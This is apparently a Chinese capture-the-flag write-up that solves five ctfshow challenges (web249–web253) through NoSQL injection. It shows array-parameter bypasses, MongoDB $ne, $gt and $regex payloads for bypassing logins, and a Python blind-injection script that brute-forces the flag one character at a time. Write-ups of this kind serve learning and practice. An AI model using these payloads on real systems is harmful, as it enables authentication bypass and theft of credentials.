目录
1、web249
2、web250
3、web251
4、wen252
5、web253
1、web249
开始nosql,flag在flag中
$user = $memcache->get($id);
使用 Memcache 类的 get 方法从缓存中获取数据,$id 是传入的键,用于从缓存中获取与该键对应的值,结果存储在 $user 变量中。
直接查 flag,遇到报错:
采用数组绕过,payload:
/api/?id[]=flag
拿到 flag:ctfshow{ca4ee4b2-308d-4466-b067-ae819563945c}
2、web250
mongodb 操作符:
方法名 | 描述 |
---|---|
$gt | 大于 |
$lte | 小于等于 |
$in | 包含 |
$nin | 不包含 |
$lt | 小于 |
$gte | 大于等于 |
$ne | 不等于 |
$eq | 等于 |
$and | 与 |
$nor | $nor在NOR一个或多个查询表达式的数组上执行逻辑运算,并选择 对该数组中所有查询表达式都失败的文档。 |
$not | 反匹配(1.3.3及以上版本),字段值不匹配表达式或者字段值不存在。 |
$or | 或 |
在这些操作符中,$ne 就是我们在重言式注入中需要利用到的那个,它的作用是将不等于指定值的数据都查询出来,比如 $ne=1 时就是将所有不等于 1 的数据都查询出来。
payload:
username[$ne]=1&password[$ne]=1
特别注意这里的接口是 /api/index.php,或者你在 api 后面打上斜杠,否则一直查询失败。
拿到 flag:ctfshow{4a370dd2-476d-4cb8-af90-835fe1186271}
3、web251
用重言式注入得到的是 admin 的密码:ctfshow666nnneeaaabbbcc
试了一下登录成功,但是也未见 flag
查用户名不为 admin 的,payload:
username[$ne]=admin&password[$ne]=1
拿到 flag:ctfshow{a438711a-09d0-495d-8023-a562a9bad1e3}
4、wen252
用上一个 payload 但还出来了一个 admin1
用 $gt (大于)继续尝试:
username[$gt]=admin1&password[$ne]=1
还有 admin2
继续测,还有 admin3
直到:
username[$gt]=admin3&password[$ne]=1
出来了一个名为 f_l_a_g 的用户,密码即为 flag
拿到 flag:ctfshow{02bc45f0-035d-46e1-bff0-d3388be3e90f}
当然这里更简便的方法,我们可以采用正则。
查 password 中以 ctfshow{ 开头的,payload:
username[$ne]=1&password[$regex]=^ctfshow{
5、web253
采用上一题的正则,虽然登录成功,但是没有回显 flag
这里采用盲注:
username[$ne]=1&password[$regex]=^c
验证一下,确实是不同的回显(flag 的第一个字符肯定是 c )
写个脚本来跑即可:
# @author:Myon
# @time:20240913
import requests
import string
url = 'http://9e856a5a-0dd8-4fac-8b5a-450688cee600.challenge.ctf.show/api/'
dic = string.digits+string.ascii_lowercase+'{}-_'
out = 'ctfshow{'
for j in range(9,50):
for k in dic:
payload = {'username[$ne]':'1','password[$regex]': f'^{out+k}'}
# print(payload)
re = requests.post(url, data=payload)
# print(re.text)
if "\\u767b\\u9646\\u6210\\u529f" in re.text: # 注意反斜杠需要转义
out += k
break
print(out)
但是这里如果从第一个字符注过去,得到的东西就很奇怪
关键是这个东西还真的存在,确实可以登录成功
这里从 ctfshow{ 后面开始注,将前面的 8 个字符确定后再继续猜后面的字符,即可拿到正确的 flag:ctfshow{042c08ff-2628-445f-928c-583482e193d2}
至此,ctfshow-web入门-sql注入结束,20240913,Myon